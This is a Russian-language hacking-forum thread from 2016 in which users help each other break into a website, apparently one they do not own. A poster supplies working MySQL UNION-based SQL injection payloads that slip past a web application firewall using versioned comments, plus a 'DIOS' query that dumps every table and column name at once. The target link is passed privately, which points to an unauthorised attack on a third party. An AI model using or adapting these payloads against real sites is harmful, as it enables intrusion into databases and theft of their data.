ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
05.05.2016, 11:32
|
|
Участник форума
Регистрация: 12.07.2007
Сообщений: 139
Провел на форуме:
623391
Репутация:
33
|
|
Сообщение от SooLFaa
SooLFaa said:
↑
Я так понимаю, что СУБД MySQL? Да, забыл указать сразу.
|
|
|
05.05.2016, 11:43
|
|
Guest
Сообщений: n/a
Провел на форуме:
187765
Репутация:
154
|
|
Сообщение от OSW
OSW said:
↑
Да, забыл указать сразу. Скинь в лс таргет, после работы попробуем покрутить.
|
|
|
|
05.05.2016, 13:55
|
|
Guest
Сообщений: n/a
Провел на форуме:
187765
Репутация:
154
|
|
Во - первых, неправильно определил вектор. Здесь самый обычный UNION (ну есессно если есть юнион бэйсед есть и блайнд, никто не спорит). Тоже касается и payload для waf bypass.
Валидный запрос в твоем случае выглядет так:
../news/0'+/*!12345UnIon*/+select+1,2,(Select+Table_Name+From+/*!information_schema*/.Tables+limit+1,1),4,5,6,7,8,9,0+--+'(/
DIOS.
..news/0'+/*!12345UnIon*/+select+1,2,(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=ex port_set(5,export_set(5,@,table_name,0x3c6c693e,2) ,column_name,0xa3a,2)),@,2)) ,4,5,6,7,8,9,0+--+'(/
И всё проще без sqlmap. Валидную ссылку отправил в лс. |
|
|
|
05.05.2016, 15:19
|
|
Участник форума
Регистрация: 12.07.2007
Сообщений: 139
Провел на форуме:
623391
Репутация:
33
|
|
Сообщение от SooLFaa
SooLFaa said:
↑
Во - первых, неправильно определил вектор. Здесь самый обычный UNION (ну есессно если есть юнион бэйсед есть и блайнд, никто не спорит). Тоже касается и payload для waf bypass.
Валидный запрос в твоем случае выглядет так:
../news/0'+/*!12345UnIon*/+select+1,2,(Select+Table_Name+From+/*!information_schema*/.Tables+limit+1,1),4,5,6,7,8,9,0+--+'(/
DIOS.
..news/0'+/*!12345UnIon*/+select+1,2,(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=ex port_set(5,export_set(5,@,table_name,0x3c6c693e,2) ,column_name,0xa3a,2)),@,2)) ,4,5,6,7,8,9,0+--+'(/
И всё проще без sqlmap. Валидную ссылку отправил в лс. Мегареспектище!
Курю, где был не прав.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
